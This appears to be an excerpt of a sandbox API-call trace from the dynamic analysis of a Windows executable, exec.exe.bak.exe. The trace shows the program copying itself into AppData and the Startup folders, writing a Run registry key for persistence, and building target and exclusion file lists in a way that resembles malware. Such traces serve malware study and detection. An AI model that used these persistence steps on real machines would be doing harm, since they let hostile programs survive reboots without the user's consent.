lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x10ffbec | out: phkResult=0x10ffbec*=0x1e4) returned 0x0 [0079.366] RegQueryValueExW (in: hKey=0x1e4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x10ffbe8, lpData=0x338970, lpcbData=0x10ffbf0*=0x5a | out: lpType=0x10ffbe8*=0x0, lpData=0x338970*=0x14, lpcbData=0x10ffbf0*=0x5a) returned 0x2 [0079.367] RegCloseKey (hKey=0x1e4) returned 0x0 [0079.367] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x10ffc00 | out: phkResult=0x10ffc00*=0x1e4) returned 0x0 [0079.367] RegQueryValueExW (in: hKey=0x1e4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x10ffbfc, lpData=0x338970, lpcbData=0x10ffc04*=0x5a | out: lpType=0x10ffbfc*=0x2, lpData=0x338970*=0x14, lpcbData=0x10ffc04*=0x78) returned 0xea [0079.367] RegCloseKey (hKey=0x1e4) returned 0x0 [0079.367] GetProcessHeap () returned 0x330000 [0079.367] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a6f8 | out: hHeap=0x330000) returned 1 [0079.367] GetProcessHeap () returned 0x330000 [0079.367] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0079.367] GetProcessHeap () returned 0x330000 [0079.367] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3388d8 | out: hHeap=0x330000) returned 1 [0079.367] GetProcessHeap () returned 0x330000 [0079.367] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x33a0e0, Size=0x1e2) returned 0x34aa38 [0079.367] GetProcessHeap () returned 0x330000 [0079.367] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e2) returned 0x34ac28 [0079.367] GetProcessHeap () returned 0x330000 [0079.367] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0079.367] GetProcessHeap () returned 0x330000 [0079.367] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x10) returned 0x3381e0 [0079.367] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x10ffbec | out: phkResult=0x10ffbec*=0x1e4) returned 0x0 [0079.368] RegQueryValueExW (in: hKey=0x1e4, lpValueName="Startup", lpReserved=0x0, lpType=0x10ffbe8, lpData=0x34ac28, lpcbData=0x10ffbf0*=0x1e2 | out: lpType=0x10ffbe8*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x10ffbf0*=0x98) returned 0x0 [0079.368] RegCloseKey (hKey=0x1e4) returned 0x0 [0079.368] GetProcessHeap () returned 0x330000 [0079.368] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3381e0 | out: hHeap=0x330000) returned 1 [0079.368] GetProcessHeap () returned 0x330000 [0079.368] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x34a9a0 [0079.368] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x10ffbec | out: phkResult=0x10ffbec*=0x1e4) returned 0x0 [0079.368] RegQueryValueExW (in: hKey=0x1e4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x10ffbe8, lpData=0x34acc0, lpcbData=0x10ffbf0*=0x14a | out: lpType=0x10ffbe8*=0x0, lpData=0x34acc0*=0x0, lpcbData=0x10ffbf0*=0x14a) returned 0x2 [0079.368] RegCloseKey (hKey=0x1e4) returned 0x0 [0079.368] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x10ffc00 | out: phkResult=0x10ffc00*=0x1e4) returned 0x0 [0079.368] RegQueryValueExW (in: hKey=0x1e4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x10ffbfc, lpData=0x34acc0, lpcbData=0x10ffc04*=0x14a | out: lpType=0x10ffbfc*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x10ffc04*=0x78) returned 0x0 [0079.368] RegCloseKey (hKey=0x1e4) returned 0x0 [0079.368] GetProcessHeap () returned 0x330000 [0079.368] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a9a0 | out: hHeap=0x330000) returned 1 [0079.368] GetProcessHeap () returned 0x330000 [0079.369] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0079.369] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0x34aa38, nSize=0xf1 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x8b [0079.369] GetProcessHeap () returned 0x330000 [0079.369] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ac28 | out: hHeap=0x330000) returned 1 [0079.369] GetProcessHeap () returned 0x330000 [0079.369] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33db08 | out: hHeap=0x330000) returned 1 [0079.369] GetProcessHeap () returned 0x330000 [0079.369] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x34a6d0 [0079.369] GetProcessHeap () returned 0x330000 [0079.369] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x34a748 [0079.369] GetProcessHeap () returned 0x330000 [0079.369] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x34a9f0 [0079.369] GetProcessHeap () returned 0x330000 [0079.369] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0079.369] GetProcessHeap () returned 0x330000 [0079.369] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0079.369] ExpandEnvironmentStringsW (in: lpSrc="regsetka32.txt", lpDst=0x34a748, nSize=0xf | out: lpDst="regsetka32.txt") returned 0xf [0079.369] GetProcessHeap () returned 0x330000 [0079.369] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a9f0 | out: hHeap=0x330000) returned 1 [0079.369] GetProcessHeap () returned 0x330000 [0079.369] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a6d0 | out: hHeap=0x330000) returned 1 [0079.369] GetProcessHeap () returned 0x330000 [0079.369] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20a) returned 0x34ac28 [0079.369] GetProcessHeap () returned 0x330000 [0079.369] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20a) returned 0x34ae40 [0079.370] GetProcessHeap () returned 0x330000 [0079.370] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20a) returned 0x34b058 [0079.370] GetProcessHeap () returned 0x330000 [0079.370] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20a) returned 0x34b270 [0079.370] GetProcessHeap () returned 0x330000 [0079.370] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20a) returned 0x34b488 [0079.370] GetProcessHeap () returned 0x330000 [0079.370] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20a) returned 0x34b6a0 [0079.370] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x34ae40, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\exec.exe.bak.exe")) returned 0x28 [0079.370] GetProcessHeap () returned 0x330000 [0079.370] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20a) returned 0x34b8b8 [0079.370] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x34b8b8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\exec.exe.bak.exe")) returned 0x28 [0079.370] GetProcessHeap () returned 0x330000 [0079.370] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34b8b8 | out: hHeap=0x330000) returned 1 [0079.370] GetProcessHeap () returned 0x330000 [0079.370] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20a) returned 0x34b8b8 [0079.370] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x34b8b8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\exec.exe.bak.exe")) returned 0x28 [0079.370] GetProcessHeap () returned 0x330000 [0079.370] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34b8b8 | out: hHeap=0x330000) returned 1 [0079.370] GetProcessHeap () returned 0x330000 [0079.370] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20a) returned 0x34b8b8 [0079.370] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x34b8b8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\exec.exe.bak.exe")) returned 0x28 [0079.371] GetProcessHeap () returned 0x330000 [0079.371] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34b8b8 | out: hHeap=0x330000) returned 1 [0079.371] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\exec.exe.bak.exe"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\exec.exe.bak.exe"), bFailIfExists=0) returned 1 [0080.089] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x10ffce4 | out: phkResult=0x10ffce4*=0x1e4) returned 0x0 [0080.090] RegSetValueExW (hKey=0x1e4, lpValueName="exec.exe.bak", Reserved=0x0, dwType=0x1, lpData=0x34b270, cbData=0x5c) returned 0x5 [0080.090] RegCloseKey (hKey=0x1e4) returned 0x0 [0080.090] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x10ffcf8 | out: phkResult=0x10ffcf8*=0x1e4) returned 0x0 [0080.090] RegSetValueExW (in: hKey=0x1e4, lpValueName="exec.exe.bak", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Local\\exec.exe.bak.exe", cbData=0x5c | out: lpData="C:\\Users\\FD1HVy\\AppData\\Local\\exec.exe.bak.exe") returned 0x0 [0080.104] RegCloseKey (hKey=0x1e4) returned 0x0 [0080.104] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\regsetka32.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\regsetka32.txt"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\regsetka32.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\regsetka32.txt"), bFailIfExists=1) returned 0 [0080.104] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\regsetka32.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\regsetka32.txt")) returned 0xffffffff [0080.105] GetProcessHeap () returned 0x330000 [0080.105] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x118) returned 0x333b08 [0080.105] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\exec.exe.bak.exe"), lpNewFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\exec.exe.bak.exe"), bFailIfExists=1) returned 1 [0080.152] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\regsetka32.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\regsetka32.txt"), lpNewFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\regsetka32.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\regsetka32.txt"), bFailIfExists=1) returned 0 [0080.152] GetFileAttributesW (lpFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\regsetka32.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\regsetka32.txt")) returned 0xffffffff [0080.152] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\exec.exe.bak.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\exec.exe.bak.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\exec.exe.bak.exe"), bFailIfExists=1) returned 0 [0080.155] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\regsetka32.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\regsetka32.txt"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\regsetka32.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\regsetka32.txt"), bFailIfExists=1) returned 0 [0080.156] GetFileAttributesW (lpFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\regsetka32.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\regsetka32.txt")) returned 0xffffffff [0080.156] GetProcessHeap () returned 0x330000 [0080.156] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x333b08 | out: hHeap=0x330000) returned 1 [0080.156] GetProcessHeap () returned 0x330000 [0080.156] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a748 | out: hHeap=0x330000) returned 1 [0080.156] GetProcessHeap () returned 0x330000 [0080.156] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ac28 | out: hHeap=0x330000) returned 1 [0080.156] GetProcessHeap () returned 0x330000 [0080.156] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ae40 | out: hHeap=0x330000) returned 1 [0080.156] GetProcessHeap () returned 0x330000 [0080.156] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34b058 | out: hHeap=0x330000) returned 1 [0080.156] GetProcessHeap () returned 0x330000 [0080.156] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34b270 | out: hHeap=0x330000) returned 1 [0080.156] GetProcessHeap () returned 0x330000 [0080.156] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34b488 | out: hHeap=0x330000) returned 1 [0080.156] GetProcessHeap () returned 0x330000 [0080.156] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34b6a0 | out: hHeap=0x330000) returned 1 [0080.156] GetProcessHeap () returned 0x330000 [0080.156] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a248 | out: hHeap=0x330000) returned 1 [0080.156] GetProcessHeap () returned 0x330000 [0080.156] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33add8 | out: hHeap=0x330000) returned 1 [0080.157] GetProcessHeap () returned 0x330000 [0080.157] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34aa38 | out: hHeap=0x330000) returned 1 [0080.157] GetProcessHeap () returned 0x330000 [0080.157] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x34a6d0 [0080.157] GetProcessHeap () returned 0x330000 [0080.157] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x34a888 [0080.157] GetProcessHeap () returned 0x330000 [0080.157] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x34a658 [0080.157] GetProcessHeap () returned 0x330000 [0080.157] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0080.157] GetProcessHeap () returned 0x330000 [0080.157] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0080.157] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x34a888, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0080.157] GetProcessHeap () returned 0x330000 [0080.157] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a658 | out: hHeap=0x330000) returned 1 [0080.157] GetProcessHeap () returned 0x330000 [0080.157] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a6d0 | out: hHeap=0x330000) returned 1 [0080.157] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x10ffd0c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x10ffd0c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0080.157] GetProcessHeap () returned 0x330000 [0080.158] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a888 | out: hHeap=0x330000) returned 1 [0080.158] GetProcessHeap () returned 0x330000 [0080.158] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x28) returned 0x340670 [0080.158] GetProcessHeap () returned 0x330000 [0080.158] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3382e8 [0080.158] GetProcessHeap () returned 0x330000 [0080.158] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x190) returned 0x33afe8 [0080.158] GetProcessHeap () returned 0x330000 [0080.158] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x60) returned 0x33a248 [0080.158] GetProcessHeap () returned 0x330000 [0080.158] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x54) returned 0x334720 [0080.158] GetProcessHeap () returned 0x330000 [0080.158] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x334720, Size=0xa6) returned 0x33aed0 [0080.158] GetProcessHeap () returned 0x330000 [0080.158] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x184) returned 0x33a640 [0080.158] GetProcessHeap () returned 0x330000 [0080.158] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x338318 [0080.158] GetProcessHeap () returned 0x330000 [0080.158] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20a) returned 0x34aa38 [0080.158] GetProcessHeap () returned 0x330000 [0080.158] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x250) returned 0x34ac50 [0080.158] GetProcessHeap () returned 0x330000 [0080.158] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0xb0) returned 0x33b780 [0080.158] GetProcessHeap () returned 0x330000 [0080.158] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xa2) returned 0x339bf0 [0080.159] GetProcessHeap () returned 0x330000 [0080.159] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0xa2) returned 0x339eb0 [0080.159] GetProcessHeap () returned 0x330000 [0080.159] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0080.159] GetProcessHeap () returned 0x330000 [0080.159] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0080.159] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;regsetka32.txt", lpDst=0x339bf0, nSize=0x51 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;regsetka32.txt") returned 0x51 [0080.159] GetProcessHeap () returned 0x330000 [0080.159] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x339eb0 | out: hHeap=0x330000) returned 1 [0080.159] GetProcessHeap () returned 0x330000 [0080.159] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33b780 | out: hHeap=0x330000) returned 1 [0080.159] GetProcessHeap () returned 0x330000 [0080.159] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x70) returned 0x33b6c0 [0080.159] GetProcessHeap () returned 0x330000 [0080.159] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x62) returned 0x33a868 [0080.159] GetProcessHeap () returned 0x330000 [0080.159] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x62) returned 0x338ef0 [0080.159] GetProcessHeap () returned 0x330000 [0080.159] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0080.159] GetProcessHeap () returned 0x330000 [0080.159] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0080.159] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x33a868, nSize=0x31 | out: lpDst="C:\\WINDOWS;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0080.159] GetProcessHeap () returned 0x330000 [0080.159] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x338ef0 | out: hHeap=0x330000) returned 1 [0080.159] GetProcessHeap () returned 0x330000 [0080.160] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x33a868, Size=0xc2) returned 0x33b780 [0080.160] GetProcessHeap () returned 0x330000 [0080.160] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0xc2) returned 0x339fb8 [0080.160] GetProcessHeap () returned 0x330000 [0080.160] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0080.160] GetProcessHeap () returned 0x330000 [0080.160] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0080.160] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x33b780, nSize=0x61 | out: lpDst="C:\\WINDOWS;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0080.160] GetProcessHeap () returned 0x330000 [0080.160] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x339fb8 | out: hHeap=0x330000) returned 1 [0080.160] GetProcessHeap () returned 0x330000 [0080.160] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33b6c0 | out: hHeap=0x330000) returned 1 [0080.160] GetProcessHeap () returned 0x330000 [0080.160] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20a) returned 0x34aea8 [0080.160] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x34aea8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\exec.exe.bak.exe")) returned 0x28 [0080.160] GetProcessHeap () returned 0x330000 [0080.160] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34aea8 | out: hHeap=0x330000) returned 1 [0080.160] GetProcessHeap () returned 0x330000 [0080.160] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x24a) returned 0x34aea8 [0080.160] GetProcessHeap () returned 0x330000 [0080.160] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x34aea8, Size=0x3c8) returned 0x34aea8 [0080.161] GetProcessHeap () returned 0x330000 [0080.161] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0xa4) returned 0x339880 [0080.161] GetProcessHeap () returned 0x330000 [0080.161] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x339880, Size=0xc6) returned 0x339fb8 [0080.161] GetProcessHeap () returned 0x330000 [0080.161] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x6a) returned 0x33b6c0 [0080.161] GetProcessHeap () returned 0x330000 [0080.161] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34aa38 | out: hHeap=0x330000) returned 1 [0080.161] GetProcessHeap () returned 0x330000 [0080.161] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ac50 | out: hHeap=0x330000) returned 1 [0080.161] GetProcessHeap () returned 0x330000 [0080.161] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x339bf0 | out: hHeap=0x330000) returned 1 [0080.161] GetProcessHeap () returned 0x330000 [0080.161] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33b780 | out: hHeap=0x330000) returned 1 [0080.161] GetProcessHeap () returned 0x330000 [0080.162] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3382e8 | out: hHeap=0x330000) returned 1 [0080.162] GetProcessHeap () returned 0x330000 [0080.162] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33afe8 | out: hHeap=0x330000) returned 1 [0080.162] GetProcessHeap () returned 0x330000 [0080.162] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a248 | out: hHeap=0x330000) returned 1 [0080.162] GetProcessHeap () returned 0x330000 [0080.162] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a640 | out: hHeap=0x330000) returned 1 [0080.162] GetProcessHeap () returned 0x330000 [0080.162] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x34a838 [0080.162] GetProcessHeap () returned 0x330000 [0080.162] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x34a680 [0080.162] GetProcessHeap () returned 0x330000 [0080.162] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x34a900 [0080.162] GetProcessHeap () returned 0x330000 [0080.162] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0080.162] GetProcessHeap () returned 0x330000 [0080.162] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0080.162] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x34a680, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0080.162] GetProcessHeap () returned 0x330000 [0080.162] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a900 | out: hHeap=0x330000) returned 1 [0080.162] GetProcessHeap () returned 0x330000 [0080.162] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a838 | out: hHeap=0x330000) returned 1 [0080.162] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x10ffd0c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x10ffd0c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0080.163] GetProcessHeap () returned 0x330000 [0080.163] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a680 | out: hHeap=0x330000) returned 1 [0080.163] GetProcessHeap () returned 0x330000 [0080.163] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x28) returned 0x3407f0 [0080.163] GetProcessHeap () returned 0x330000 [0080.163] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3382e8 [0080.163] GetProcessHeap () returned 0x330000 [0080.163] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x190) returned 0x33afe8 [0080.163] GetProcessHeap () returned 0x330000 [0080.163] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x60) returned 0x33a248 [0080.163] GetProcessHeap () returned 0x330000 [0080.163] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x54) returned 0x334720 [0080.163] GetProcessHeap () returned 0x330000 [0080.163] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x334720, Size=0xa6) returned 0x33b780 [0080.163] 